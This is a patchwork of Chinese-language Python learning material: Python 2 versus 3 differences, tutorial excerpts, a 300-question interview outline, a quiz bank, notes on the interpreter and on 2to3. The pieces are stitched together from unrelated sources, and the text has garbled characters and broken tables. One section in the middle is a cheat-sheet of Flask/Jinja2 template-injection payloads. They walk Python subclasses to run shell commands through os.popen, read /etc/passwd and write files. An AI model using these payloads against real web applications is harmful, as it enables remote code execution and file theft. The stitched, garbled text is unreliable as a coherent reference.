python2 与 python3的区别

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编程语言python入门-Python基础教程，Python入门教程（非常详细）

编程语⾔python⼊门-Python基础教程，Python⼊门教程（⾮常详细）Python 英⽂本意为"蟒蛇”，直到 1989 年荷兰⼈ Guido van Rossum （简称 Guido）发明了⼀种⾯向对象的解释型编程语⾔（后续会介绍），并将其命名为 Python，才赋予了它表⽰⼀门编程语⾔的含义。

图 1 Python 图标说道 Python，它的诞⽣是极具戏曲性的，据 Guido 的⾃述记载，Python 语⾔是他在圣诞节期间为了打发时间开发出来的，之所以会选择Python 作为该编程语⾔的名字，是因为 Guido 是⼀个叫 Monty Python 戏剧团体的忠实粉丝。

看似 Python 是"不经意间”开发出来的，但丝毫不⽐其它编程语⾔差。

⾃ 1991 年 Python 第⼀个公开发⾏版问世后，2004 年 Python 的使⽤率呈线性增长，不断受到编程者的欢迎和喜爱；2010 年，Python 荣膺 TIOBE 2010 年度语⾔桂冠；2017 年，IEEE Spectrum 发布的 2017 年度编程语⾔排⾏榜中，Python 位居第 1 位。

直⾄现在（2019 年 6 ⽉份），根据 TIOBE 排⾏榜的显⽰，Python 也居于第 3 位，且有继续提升的态势（如表 2 所⽰）。

表 2 TIOBE 2019 年 6 ⽉份编程语⾔排⾏榜（前 10 名）Jun 2019Jun 2018ChangeProgramming LanguageRatings11Java15.004%22C13.300%34Python8.530%43C++7.384%56Visual Basic .NET4.624%654.483%872.567%99SQL2.224%1016Assembly language1.479%Python语⾔的特点相⽐其它编程语⾔，Python 具有以下特点。

(完整版)python教案

(完整版)python教案ห้องสมุดไป่ตู้
目录
• Python基础知识 • Python进阶特性 • Python常用库介绍及应用 • Python数据分析与可视化实践
目录
• Python在机器学习领域应用 • Python Web开发框架Django实战
演练 • 项目实战：用Python解决现实问题
01
Python基础知识
面向对象编程基础
类与对象
类是对象的抽象，定义了一类对象的共同属性和方法；对象是类的实例，具有类定义的属性和行为。
继承与多态
继承实现了代码的重用和多态，子类可以继承父类的属性和方法，并可以添加或覆盖父类的方法。
封装与访问控制
封装将数据和行为组合在一起，形成“对象”，并通过访问控制限制对对象内部状态的访问。
文档编写
编写项目文档，包括使用说明、技术文档等，方便项目的维护和升级。
THANKS
视图函数编写技巧分享
视图函数基础
介绍视图函数的概念和作用，以及编写视图函数的基本方法。
HTTP请求处理
介绍如何处理不同的HTTP请求方法，如 GET、POST等。
URL路由配置
讲解Django的URL路由配置，如何将URL映射到对应的视图函数。
响应数据格式
讲解如何返回不同格式的响应数据，如 JSON、HTML等。
项目选题背景介绍
现实生活中的问题
随着技术的发展和数据的增长，现实生活中的问题越来越需要编程技能来解决。
Python的优势
Python是一种简单易学、功能强大的编程语言，广泛应用于数据分析、人工智能、Web开发等领域。
项目实战的意义
通过项目实战，可以将所学的Python知识应用于实际场景中，提高解决问题的能力。

Python入门基础知识点（基础语法介绍）

Python⼊门基础知识点（基础语法介绍）计算机基础知识介绍计算机核⼼部件分为CPU,内存，硬盘，操作系统1.CPU：中央处理器，相当于⼈⼤脑2.内存：临时存储数据。

现在通常分为 8g和16g（不能替代硬盘的原因：1，成本⾼ 2，断电即消失）3.硬盘：长期存储⼤量的数据。

1T 512G等等，通常存储⽂件视频等等4.操作系统：管理，协调，计算机硬件与计算机软件之间的'桥梁'Python2X和Python3X区别python2x:源码重复，混乱，冗余，源码不规范python3x: 源码整合，优美，清晰，简单编程语⾔分为编译型和解释性编译型：⼀次性将你的所有的代码转化成010101010 代表语⾔：C C++ 优点：执⾏效率⾼。

0.001s 缺点：开发效率低。

解释型：逐⾏解释逐⾏运⾏。

代表语⾔： python 优点：可以跨平台。

开发效率⾼。

缺点：执⾏效率低。

0.01sPython的优缺点先看优点1. Python的定位是“优雅”、“明确”、“简单”，所以Python程序看上去总是简单易懂，初学者学Python，不但⼊门容易，⽽且将来深⼊下去，可以编写那些⾮常⾮常复杂的程序。

2. 开发效率⾮常⾼，Python有⾮常强⼤的第三⽅库，基本上你想通过计算机实现任何功能，Python官⽅库⾥都有相应的模块进⾏⽀持，直接下载调⽤后，在基础库的基础上再进⾏开发，⼤⼤降低开发周期，避免重复造轮⼦。

3. ⾼级语⾔————当你⽤Python语⾔编写程序的时候，你⽆需考虑诸如如何管理你的程序使⽤的内存⼀类的底层细节4. 可移植性————由于它的开源本质，Python已经被移植在许多平台上（经过改动使它能够⼯作在不同平台上）。

如果你⼩⼼地避免使⽤依赖于系统的特性，那么你的所有Python程序⽆需修改就⼏乎可以在市场上所有的系统平台上运⾏5. 可扩展性————如果你需要你的⼀段关键代码运⾏得更快或者希望某些算法不公开，你可以把你的部分程序⽤C或C++编写，然后在你的Python程序中使⽤它们。

Python 全栈工程师必备面试题 300 道

Python 全栈工程师必备面试题300 道（2020 版）Python 面试不仅需要掌握Python 基础知识和高级语法，还会涉及网络编程、web 前端后端、数据库、网络爬虫、数据解析、数据分析和数据可视化等各方面的核心知识。

本人结合自己多年的开发经验，同时汲取网络中的精华，本着打造全网最全面最深入的面试题集，分类归纳总结了Python 面试中的核心知识点，这篇文章不论是从深度还是广度上来讲，都已经囊括了非常多的知识点了，读者可以根据自己的需要强化升级自己某方面的知识点，文中所有案例在Python3.6 环境下都已通过运行。

本文章是作者呕心沥血，耗时两个月潜心完成。

通过阅读本文章，可以在最短的时间内获取Python 技术栈最核心的知识点，同时更全面更深入的了解与Python 相关的各项技术。

1. Python 基础知识1.1 语言特征及编码规范1.1.1 Python 的解释器有哪些?1.1.2 列举至少 5 条Python 3 和Python 2 的区别?1.1.3 Python 中新式类和经典类的区别是什么?1.1.4 Python 之禅是什么，Python 中如何获取Python 之禅?1.1.5 python中的DocStrings(解释文档)有什么作用?1.1.6 Python 3 中的类型注解有什么好处?如何使用?1.1.7 Python 语言中的命名规范有哪些?1.1.8 Python 中各种下划线的作用?1.1.9 单引号、双引号、三引号有什么区别?1.2 文件I/O 操作1.2.1 Python 中打开文件有哪些模式?1.2.2 Python 中read 、readline 和readlines 的区别?1.2.3 大文件只需读取部分内容，或者避免读取时候内存不足的解决方法?1.2.4 什么是上下文?with 上下文管理器原理?1.2.5 什么是全缓冲、行缓冲和无缓冲?1.2.6 什么是序列化和反序列化?JSON 序列化时常用的四个函数是什么?1.2.7 JSON 中dumps 转换数据时候如何保持中文编码?1.3 数据类型1.3.1 Python 中的可变和不可变数据类型是什么?1.3.2 is 和== 有什么区别?1.3.3 Python 中的单词大小写转换和字母统计?1.3.4 字符串，列表，元组如何反转?反转函数reverse 和reversed 的区别?1.3.5 Python 中的字符串格式化的方法有哪些?f-string 格式化知道吗?1.3.6 含有多种符号的字符串分割方法?1.3.7 嵌套列表转换为列表，字符串转换为列表的方法1.3.8 列表合并的常用方法?1.3.9 列表如何去除重复的元素，还是保持之前的排序?1.3.10 列表数据如何筛选，筛选出符合要求的数据?1.3.11 字典中元素的如何排序?sorted 排序函数的使用详解? 1.3.12 字典如何合并?字典解包是什么?1.3.13 字典推导式使用方法?字典推导式如何格式化cookie 值?1.3.14 zip 打包函数的使用?元组或者列表中元素生成字典?1.3.15 字典的键可以是哪些类型的数据?1.3.16 变量的作用域是怎么决定的?1.4 常用内置函数1.4.1 如何统计一篇文章中出现频率最高的 5 个单词?1.4.2 map 映射函数按规律生成列表或集合?1.4.3 filter 过滤函数如何使用?如何过滤奇数偶数平方根数?1.4.4 sort 和sorted 排序函数的用法区别?1.4.5 enumerate 为元素添加下标索引?1.4.6 lambda 匿名函数如何使用?1.4.7 type 和help 函数有什么作用?2. Python 高级语法2.1 类和元类2.1.1 类class 和元类metaclass 的有什么区别?2.1.2 类实例化时候，__init__ 和__new__ 方法有什么作用?2.1.3 实例方法、类方法和静态方法有什么不同?2.1.4 类有哪些常用的魔法属性以及它们的作用是什么?2.1.5 类中的property 属性有什么作用?2.1.6 描述一下抽象类和接口类的区别和联系?2.1.7 类中的私有化属性如何访问?2.1.8 类如何才能支持比较操作?2.1.9 hasattr()、getattr()、setattr()、delattr()分别有什么作用?2.2 高级用法(装饰器、闭包、迭代器、生成器)2.2.1 编写函数的四个原则是什么?2.2.2 函数调用参数的传递方式是值传递还是引用传递?2.2.3 Python 中pass 语句的作用是什么?2.2.4 闭包函数的用途和注意事项?2.2.5 *args 和**kwargs 的区别?2.2.6 位置参数、关键字参数、包裹位置参数、包裹关键字参数执行顺序及使用注意?2.2.7 如何进行参数拆包?2.2.8 装饰器函数有什么作用?装饰器函数和普通函数有什么区别?2.2.9 带固定参数和不定参数的装饰器有什么区别?2.2.10 描述一下一个装饰器的函数和多个装饰器的函数的执行步骤? 2.2.11 知道通用装饰器和类装饰器吗?2.2.12 浅拷⻉和深拷⻉的区别?2.2.13 元组的拷⻉要注意什么?2.2.14 全局变量是否一定要使用global 进行声明?2.2.15 可迭代对象和迭代器对象有什么区别?2.2.16 描述一下for 循环执行的步骤?2.2.17 迭代器就是生成器，生成器一定是迭代器，这句话对吗?2.2.18 yield 关键字有什么好处?2.2.19 yield 和return 关键字的关系和区别?2.2.20 简单描述一下yield 生成器函数的执行步骤?2.2.21 生成器函数访问方式有哪几种?生成器函数中的send() 有什么作用?2.2.22 Python 中递归的最大次数?2.2.23 递归函数停止的条件是什么?2.4 模块2.4.1 如何查看模块所在的位置?2.4.2 import 导入模块时候，搜索文件的路径顺序?2.4.3 多模块导入共享变量的问题?2.4.4 Python 常用内置模块有哪些?2.4.5 Python 中常⻉的异常有哪些?2.4.6 如何捕获异常?万能异常捕获是什么?2.4.7 Python 异常相关的关键字主要有哪些?2.4.8 异常的完整写法是什么?2.4.9 包中的__init__.py 文件有什么作用?2.4.10 模块内部的__name__ 有什么作用?2.5 面向对象2.5.1 面向过程和面向对象编程的区别?各自的优缺点和应用场景?2.5.2 面向对象设计的三大特征是什么?2.5.3 面向对象中有哪些常用概念?2.5.4 多继承函数有那几种书写方式?2.5.5 多继承函数执行的顺序(MRO)?2.5.6 面向对象的接口如何实现?2.6 设计模式2.6.1 什么是设计模式?2.6.2 面向对象中设计模式的六大原则是什么?2.6.3 列举几个常⻉的设计模式?2.6.4 Mixin 设计模式是什么?它的特点和优点?2.6.5 什么是单例模式?单例模式的作用?2.6.7 单例模式的应用场景有那些?2.7 内存管理2.7.1 Python 的内存管理机制是什么?2.7.2 Python 的内寸管理的优化方法?2.7.3 Python 中内存泄漏有哪几种?2.7.4 Python 中如何避免内存泄漏?2.7.5 内存溢出的原因有哪些?2.7.6 Python 退出时是否释放所有内存分配?3. 系统编程3.1 多进程、多线程、协程、并行、并发、锁3.1.1 并发与并行的区别和联系?3.1.2 程序中的同步和异步与现实中一样吗?3.1.3 进程、线程、协程的区别和联系?3.1.4 多进程和多线程的区别?3.1.5 协程的优势是什么?3.1.6 多线程和多进程分别用于哪些场景?3.1.7 全局解释器锁(GIL)是什么?如何解决GIL 问题?3.1.8 Python 中有哪些锁(LOCK)?它们分别有什么作用?3.1.9 Python 中如何实现多线程和多进程?3.1.10 守护线程和非守护线程是什么?3.1.11 多线程的执行顺序是什么样的?3.1.12 多线程非安全是什么意思?3.1.13 互斥锁是什么?有什么好处和坏处?3.1.14 什么是僵尸进程和孤儿进程?3.1.15 多线程和多进程如何实现通信?3.1.16 Python 3 中multiprocessing.Queue() 和queue.Queue() 的区别?3.1.17 如何使用多协程并发请求网⻉?3.1.18 简单描述一下asyncio 模块实现异步的原理?4. 网络编程4.1 TCP UDP HTTP SEO WSGI 等4.1.1 UDP 和TCP 有什么区别以及各自的优缺点?4.1.2 IP 地址是什么?有哪几类?4.1.3 举例描述一下端口有什作用?4.1.4 不同电脑上的进程如何实现通信的?4.1.5 列举一下常用网络通信名词?4.1.6 描述一下请求一个网⻉的步骤(浏览器访问服务器的步骤)?4.1.7 HTTP 与HTTPS 协议有什么区别?4.1.8 TCP 中的三次握手和四次挥手是什么?4.1.9 TCP 短连接和⻉连接的优缺点?各自的应用场景?4.1.10 TCP 第四次挥手为什么要等待2MSL?4.1.11 HTTP 最常⻉的请求方法有哪些?4.1.12 GET 请求和POST 请求有什么区别?4.1.13 cookie 和session 的有什么区别?4.1.14 七层模型和五层模型是什么?4.1.15 HTTP 协议常⻉状态码及其含义?4.1.16 HTTP 报文基本结构?列举常用的头部信息?4.1.17 SEO 是什么?4.1.18 伪静态URL、静态URL 和动态URL 的区别? 4.1.19 浏览器镜头请求和动态请求过程的区别?4.1.20 WSGI 接口有什么好处?4.1.21 简单描述浏览器通过WSGI 接口请求动态资源的过程?5. 数据库5.1 MySQL5.1.1 NoSQL 和SQL 数据库的比较?5.1.2 了解MySQL 的事物吗?事物的四大特性是什么?5.1.3 关系型数据库的三范式是什么?5.1.4 关系型数据库的核心元素是什么?5.1.5 简单描述一下Python 访问MySQL 的步骤?5.1.6 写一个Python 连接操作MySQL 数据库实例?5.1.7 SQL 语句主要有哪些?分别有什么作用?5.1.8 MySQL 有哪些常用的字段约束?5.1.9 什么是视图?视图有什么作用?5.1.10 什么是索引?索引的优缺点是什么?5.1.11 NULL 是什么意思?它和空字符串一样吗?5.1.12 主键、外键和索引的区别?5.1.13 char 和varchar 的区别?5.1.14 SQL 注入是什么?如何避免SQL 注入?5.1.15 存储引擎MyISAM 和InnoDB 有什么区别?5.1.16 MySQL 中有哪些锁?5.1.17 三种删除操作drop、truncate、delete 的区别? 5.1.18 MySQL 中的存储过程是什么?有什么优点?5.1.19 MySQL 数据库的有哪些种类的索引?5.1.20 MySQL 的事务隔离级别?5.1.21 MySQL 中的锁如何进行优化?5.1.22 解释MySQL 外连接、内连接与自连接的区别?5.1.23 如何进行SQL 优化?5.1.24 什么是MySQL 主从?主从同步有什么好处?5.1.25 MySQL 主从与MongoDB 副本集有什么区别?5.1.26 MySQL 账户权限怎么分类的?5.1.27 如何使用Python 面向对象操作MySQL 数据库?5.2 Redis5.2.1 Redis 是什么?常⻉的应用场景?5.2.2 Redis 常⻉数据类型有哪些?各自有什么应用场景?5.2.3 非关系型数据库Redis 和MongoDB 数据库的结构有什么区别?5.2.4 Redis 和MongoDB 数据库的键(key)和值(value)的区别?5.2.5 Redis 持久化机制是什么?有哪几种方式?5.2.6 Redis 的事务是什么?5.2.7 为什么要使用Redis 作为缓存?5.2.8 Redis 和Memcached 的区别?5.2.9 Redis 如何设置过期时间和删除过期数据?5.2.10 Redis 有哪几种数据淘汰策略?5.2.11 Redis 为什么是单线程的?5.2.12 单线程的Redis 为什么这么快?5.2.13 缓存雪崩和缓存穿透是什么?如何预防解决?5.2.14 布隆过滤器是什么?5.2.15 简单描述一下什么是缓存预热、缓存更新和缓存降级?5.2.16 如何解决Redis 的并发竞争Key 的问题?5.2.17 写一个Python 连接操作Redis 数据库实例?5.2.18 什么是分布式锁?5.2.19 Python 如何实现一个Redis 分布式锁?5.2.20 如何保证缓存与数据库双写时的数据一致性?5.2.21 集群是什么?Redis 有哪些集群方案?5.2.22 Redis 常⻉性能问题和解决方案?5.2.23 了解Redis 的同步机制么?5.2.24 如果有大量的key 需要设置同一时间过期，一般需要注意什么?5.2.25 如何使用Redis 实现异步队列?5.2.26 列举一些常用的数据库可视化工具?5.3 MongoDB5.3.1 NoSQL 数据库主要分为哪几种?分别是什么?5.3.2 MongoDB 的主要特点及适用于哪些场合?5.3.3 MongoDB 中的文档有哪些特性?5.3.4 MongoDB 中的key 命名要注意什么?5.3.5 MongoDB 数据库使用时要注意的问题?5.3.6 常用的查询条件操作符有哪些?5.3.7 MongoDB 常用的管理命令有哪些?5.3.8 MongoDB 为何使用GridFS 来存储文件?5.3.9 如果一个分片(Shard)停止或很慢的时候，发起一个查询会怎样?5.3.10 分析器在MongoDB 中的作用是什么?5.3.11 MongoDB 中的名字空间(namespace)是什么?5.3.12 更新操作会立刻fsync 到磁盘吗?5.3.13 什么是master 或primary?什么是secondary 或slave?5.3.14 必须调用getLastError 来确保写操作生效了么?5.3.15 MongoDB 副本集原理及同步过程?5.3.16 MongoDB 中的分片是什么意思?5.3.17 “ObjectID”有哪些部分组成?5.3.18 在MongoDB 中什么是索引?5.3.19 什么是聚合?5.3.20 写一个Python 连接操作MongoDB 数据库实例?6. 数据解析提取6.1 正则表达式6.1.1 match、search 和findall 有什么区别?6.1.2 正则表达式的()、[]、{} 分别代表什么意思?6.1.3 正则表达式中的.* 、.+ 、.*? 、.+? 有什么区别?6.1.4 .*? 贪婪匹配的一种特殊情况?当* 和? 中间有一个字符会怎么样?6.1.5 \s 和\S 是什么意思?re.S 是什么意思?6.1.6 写一个表达式匹配座机或者手机号码?6.1.7 正则表达式检查Python 中使用的变量名是否合法?6.1.8 正则表达式检查邮箱地址是否符合要求?6.1.9 如何使用分组匹配HTML 中的标签元素?6.1.10 如何使用re.sub 去掉“028-******** # 这是一个电话号码”# 和后面的注释内容?6.1.11 re.sub 替换如何支持函数调用?举例说明?6.1.12 如何只匹配中文字符?6.1.13 如何过滤评论中的表情?6.1.14 Python 中的反斜杠\ 如何使用正则表达式匹配?6.1.15 如何提取出下列网址中的域名?6.1.16 去掉'ab;cd%e\tfg,,jklioha;hp,vrww\tyz' 中的符号，拼接为一个字符串?6.1.17 str.replace 和re.sub 替换有什么区别?6.1.18 如何使用重命名分组修改日期格式?6.1.19 (?:x) a(?=x) a(?!=x) (?<=x)a (?<!x)a 有什么区别?6.2 XPath6.2.1 XML 是什么?XML 有什么用途?6.2.2 XML 和HTML 之间有什么不同?6.2.3 描述一下XML lxml XPath 之间有什么关系?6.2.4 介绍一下XPath 的节点?6.2.5 XPath 中有哪些类型的运算符?6.2.6 XPath 中的/// 、./ 、../ 、.// 别有什么区别?6.2.7 XPath 中如何同时选取多个路径?6.2.8 XPath 中的* 和@* 分别表示什么含义?6.2.9 如何使用位置属性选取节点中的元素?6.2.10 XPath 中如何多条件查找?6.2.11 Scrapy 和lxml 中的XPath 用法有什么不同?6.2.12 用过哪些常用的XPath 开发者工具?6.3 BeautifulSoup46.3.1 BeautifulSoup4 是什么?有什么特点?6.3.2 三种解析工具:正则表达式lxml BeautifulSoup4 各自有什么优缺点?6.3.3 etree.parse()、etree.HTML() 和etree.tostring() 有什么区别?6.3.4 BeautifulSoup4 支持的解析器以及它们的优缺点?6.3.5 BeautifulSoup4 中的四大对象是什么?6.3.6 BeautifulSoup4 中如何格式化HTML 代码?6.3.7 BeautifulSoup4 中find 和find_all 方法的区别?6.3.8 string、strings 和stripped_strings 有什么区别?6.3.9 BeautifulSoup4 输出文档的编码格式是什么?7. 网络爬虫7.1 网络爬虫是什么?它有什么特征?7.2 Python 中常用的爬虫模块和框架有哪些?它们有什么优缺点? 7.3 搜索引擎中的ROBOTS 协议是什么?7.4 urlib 和requests 库请求网⻉有什么区别?7.5 网⻉中的ASCII Unicode UTF-8 编码之间的关系?7.6 urllib 如何检测网⻉编码?7.7 urllib 中如何使用代理访问网⻉?7.8 如果遇到不信任的SSL 证书，如何继续访问?7.9 如何提取和使用本地已有的cookie 信息?7.10 requests 请求中出现乱码如何解决?7.11 requests 库中response.text 和response.content 的区别?7.12 实际开发中用过哪些框架?7.13 Scrapy 和PySpider 框架主要有哪些区别?7.14 Scrapy 的主要部件及各自有什么功能?7.15 描述一下Scrapy 爬取一个网站的工作流程?7.16 Scrapy 中的中间件有什么作用?7.17 Scrapy 项目中命名时候要注意什么?7.18 Scrapy 项目中的常用命令有哪些?7.19 scrapy.Request() 中的meta 参数有什么作用?7.20 Python 中的协程阻塞问题如何解决?7.21 Scrapy 中常用的数据解析提取工具有哪些?7.22 描述一下Scrapy 中数据提取的机制?7.23 Scrapy 是如何实现去重的?指纹去重是什么?7.24 Item Pipeline 有哪些应用?7.25 Scrapy 中常用的调试技术有哪些?7.26 Scrapy 中有哪些常⻉异常以及含义?7.27 Spider、CrawlSpider、XMLFeedSpider 和RedisSpider 有什么区别?7.28 scrapy-redis 是什么?相比Scrapy 有什么优点?7.29 使用scrapy-redis 分布式爬虫，需要修改哪些常用的配置?7.30 常⻉的反爬虫措施有哪些?如何应对?7.31 BloomFitler 是什么?它的原理是什么?7.32 为什么会用到代理?代码展现如何使用代理?7.33 爬取的淘宝某个人的历史消费信息(登陆需要账号、密码、验证码)，你会如何操作?7.34 网站中的验证码是如何解决的?7.35 动态⻉面如何有效的抓取?7.36 如何使用MondoDB 和Flask 实现一个IP 代理池?8. 数据分析及可视化8.1 Python 数据分析通常使用的环境、工具和库都有哪些?库功能是什么?8.2 常用的数据可视化工具有哪些?各自有什么优点?8.3 数据分析的一般流程是什么?8.4 数据分析中常⻉的统计学概念有哪些?8.5 归一化方法有什么作用?8.6 常⻉数据分析方法论?8.7 如何理解欠拟合和过拟合?8.8 为什么说朴素⻉叶斯是“朴素”的?8.9 Matplotlib 绘图中如何显示中文?8.10 Matplotlib 中如何在一张图上面画多张图?8.11 使用直方图展示多部电影 3 天的票房情况?8.12 描述一下NumPy array 对比Python list 的优势?8.13 数据清洗有哪些方法?。

python2.xyupython3.x区别总结

Search标题文字蟒蛇Python2orPython3Python2orPython3首页最近更新查找网页帮助目录Python2orPython3页不变页面信息附件用户登录我应该使用Python 2或Python 3进行开发活动吗？内容我应该使用Python 2或Python 3进行开发活动吗？有什么区别？我应该使用哪个版本？但是我不想避免2.x？这是一个有很多错误的古老语言，它花了一个主要版本来让他们出来。

我想使用Python 3，但是我只想使用这个Python 2.x的这个小型库。

我真的需要恢复使用Python 2或放弃使用该库吗？我决定在3.x中写一些东西，但是现在有人想要使用只有2.x的东西。

我该怎么办？在通用代码库中支持Python 2和Python 3可能有助于在Python 2和Python 3之间进行选择的其他资源脚注有什么区别？简短版本：Python 2.x是旧版，Python 3.x是该语言的现在和未来Python 3.0于2008年发布。

最终的2.x版本2.7版本在2010年年中发布，并声明对这一生命周期版本进行了扩展支持。

之后，2.x分支机构将看不到新的主要版本。

3.x正在积极发展，已经有超过五年的稳定版本，包括2012年的3.3版，2014年的3.4个，2015年的3.5个，2016年的3.6个。

这意味着例如所有最近的标准库改进仅在Python 3.x中可用。

Guido van Rossum（Python语言的原始创建者）决定正确地清理Python 2.x，而不用考虑向后兼容性，而不是2.x范围内的新版本。

最大的改进是更好的Unicode支持（默认情况下，所有文本字符串都是Unicode）以及saner字节/ Unicode分隔。

此外，核心语言的几个方面（例如打印和执行语句，使用分区的整数）已被调整为使新手更容易学习，并与其他语言更加一致，而旧的拼图已被删除（例如，所有类现在都是新样式的，“range（）”返回一个高效的内存可迭代，而不是像2.x中的列表）。

Python版本区别,Python 3和Python 2区别详解

Python版本区别，Python 3和Python 2区别详解Python版本分为两大流派，一个是 Python 2.x 版本，另外一个是 Python 3.x 版本，Python 官方同时提供了对这两个版本的支持和维护。

2020 年 1 月 1 日，Python 官方终止了对 Python 2.7 版本（最后一个 Python 2.x 版本）的支持，这意味着开发者不会在接收到任何来自 Python 2.7 的错误修复或安全更新。

自此 Python 2 完全退休，Python 3 时代正式来临。

尽管 Python 2 已退出历史舞台，但国内外一些互联网公司仍在使用 Python 2.7 开发程序，同时为了让大家更好地了解 Python 3 ，我们非常有必要知道这两个版本间存在区别。

你也许会问，为什么终止支持了，还会有公司再使用？其实，版本的更换是一项庞大、复杂的工作，一些小型的互联网公司在人力、财力不足的情况下，只能要继续使用低版本的Python，只有万不得已时才会更新版本。

和 Python 2.x 版本相比，Python 3.x 版本在语句输出、编码、运算和异常等方面做出了一些调整，本节就对这些调整逐一地做简单介绍。

Python 3.x print()函数代替了print语句在 Python 2.x 中，输出数据使用的是 print 语句：但是在 Python 3.x 中，print 语句没有了，取而代之的是print() 函数，例如：如果还像 Python 2.x 中那样使用 print 语句，Python 编译器就会报错，例如：Python 3.x 默认使用UTF-8 编码Python 2.x 默认采用的 ASCII 编码，而 Python 3.x 默认使用 UTF-8 编码，相比来说，UTF-8 编码可以很好地支持中文或其它非英文字符。

例如，输出一句中文，使用 Python 2.x 和 Python 3.x 的区别如下：不仅如此，在 Python 3.x 中，下面的代码也是合法的：Python 3.x 除法运算和其他语言相比，Python 的除法运算要高端很多，它的除法运算包含 2 个运算符，分别是 / 和 //，这 2 个运算符在 Python 2.x 和 Python 3.x 的使用方法如下：/ 运算符在 Python 2.x 中，使用运算符 / 进行除法运算的方式和Java、C 语言类似，整数相除的结果仍是一个整数，浮点数除法会保留小数点部分，例如：但是在 Python 3.x 中使用 / 运算符，整数之间做除法运算，结果也会是浮点数。

《Python程序设计》题库及答案【判断题+填空题+选择题+程序题】

《Python程序设计》题库判断题+填空题+选择题+程序题第1章基础知识1、Python是一种跨平台、开源、免费的高级动态编程语言。

2、Python 3.x完全兼容Python 2.x。

3、Python 3.x和Python 2.x唯一的区别就是：print在Python 2.x中是输出语句，而在Python3.x中是输出函数。

4、在Windows平台上编写的Python程序无法在Unix平台运行。

5、不可以在同一台计算机上安装多个Python版本。

6、已知x = 3，那么赋值语句x = 'abcedfg' 是无法正常执行的。

7、Python变量使用前必须先声明，并且一旦声明就不能再当前作用域内改变其类型。

8、Python采用的是基于值得自动内存管理方式。

9、在任何时刻相同的值在内存中都只保留一份10、Python不允许使用关键字作为变量名，允许使用内置函数名作为变量名，但这会改变函数名的含义。

11、在Python中可以使用if作为变量名。

12、在Python 3.x中可以使用中文作为变量名。

13、Python变量名必须以字母或下划线开头，并且区分字母大小写。

14、加法运算符可以用来连接字符串并生成新字符串。

15、9999**9999这样的命令在Python中无法运行。

16、3+4j不是合法的Python表达式。

17、0o12f是合法的八进制数字。

18、不管输入什么，Python 3.x中input()函数的返回值总是字符串。

19、pip命令也支持扩展名为.whl的文件直接安装Python扩展库。

20、只有Python扩展库才需要导入以后才能使用其中的对象，Python标准库不需要导入即可使用其中的所有对象和方法。

21、在Python中0xad是合法的十六进制数字表示形式。

22、3+4j 是合法Python数字类型。

23、在Python中0oa1是合法的八进制数字表示形式。

24、Python使用缩进来体现代码之间的逻辑关系。

Python中的解释器

Python中的解释器在程序员们日常的开发过程中，我们经常听说解释器（interpreter）这个技术术语。

在众多编程语言中，Python语言的解释器得到了广泛的应用。

那Python的解释器具体是什么，为什么会变得如此流行呢？本文将详细介绍Python解释器的基本概念和优势，希望对读者们有所启发。

一、Python解释器的基本概念Python解释器可以分成两种类型：交互式解释器和脚本解释器。

这两种解释器在主要工作的表现上存在一些差异：#1交互式解释器交互式解释器是一种针对Python命令行环境的解释器，启动后，用户在命令终端输入Python代码，解释器实时将代码翻译成机器可以执行的二进制指令，并给出结果。

交互式Python解释器通常也被称为解释器控制台，通过快捷键Ctrl + C，可以退出解释器。

#2脚本解释器脚本解释器可以读取Python脚本文件，当用户给定一个脚本时，脚本解释器会依次执行其中的每一条Python代码，并在程序运行完毕后停止。

Python脚本解释器常常被称为标准Python解释器，因为Python大多数应用程序都运行在这个解释器上。

二、Python解释器的优势Python解释器是解释型编程语言的代表。

解释型编程语言有很多优点，其中Python解释器在其它解释型编程语言中具有更突出的优势，主要体现在：#1交互式开发Python解释器的交互式开发方式，允许开发者在开发时实时查看代码执行结果。

这种实时运行和测试代码的方式，可以快速发现程序问题，避免程序运行中出现严重错误，提高了程序的可维护性。

#2快速迭代Python解释器具有良好的可读性，因此迭代可以更快地进行。

Python解释器支持快速开发，开发者可以很快地编写出工作原型，测试以后再扩展其功能。

#3开发效率高Python解释器采用动态类型概念，因此在变量传递和对象处理上进行了优化。

这种机制允许Python使用更少的代码来表示复杂问题，开发的效率相对比较高，因此Python的开发速度可以快于其它语言。

flask模板注入payload——python2和python3

#eval,impoer等全局函数
[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval，__import__等的全局函数，可以利用此来执行命令 payload：
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#读文件 [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() #写文件 [].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

2to3用法

2to3用法
2to3是一个Python程序，它读取Python 2.x源代码并应用一系列修复程序将其转换为有效的Python 3.x代码。

以下是2to3的基本用法：
1.安装2to3：通常2to3会作为脚本和Python解释器一起安装，你可以在Python根目
录的Tools/scripts文件夹下找到它。

2.调用2to3：2to3的基本调用参数是一个需要转换的文件或目录列表。

对于目录，会
递归地寻找其中的Python源码。

3.转换代码：使用命令行工具运行2to3，并指定要转换的Python 2.x源代码文件或目
录。

2to3会打印出与源文件的区别，并通过传入-w参数把需要的修改写回到原文件中（除非传入了-n参数，否则会为原始文件创建一个副本）。

4.自定义修复程序：虽然2to3包含一组丰富的修复程序，将处理几乎所有代码，但你
也可以为2to3编写自己的修复程序。

以上信息仅供参考，如有需要，建议您查阅2to3的官方文档或相关教程。

python与python的区别

python2 与 python3的区别几乎所有的python2程序都需要一些修改才能正常的运行在python3的环境下。

为了简化这个转换过程，Python3自带了一个2to3的实用脚本.这个脚本会将python2程序源文件作为输入，然后自动转换到python３．但并不是所有内容都可以自动转换。

print语句python2中print是一个语句，不论想输出什么，直接放到print关键字后面即可。

python3里，print()是一个函数，像其他函数一样，print()需要你将要输出的东西作为参数传给它。

UNICODE字符串python2中有两种字符串类型：Unicode字符串和非Unicode字符串。

Python3中只有一种类型：Unicode字符串。

全局函数UNICODE()python２有两个全局函数可以把对象强制转换成字符串:unicode()把对象转换成unicode字符串，还有str()把对象转换为非Unicode字符串。

Python3只有一种字符串类型，unicode字符串，所以str()函数即可完成所有的功能。

LONG长整型python2有非浮点数准备的int和long类型。

int类型最大值不能超过，而且这个最大值是平台相关的。

可以通过在数字的末尾附上一个Ｌ来定义长整型，显然，它比int类型表示的数字范围更大。

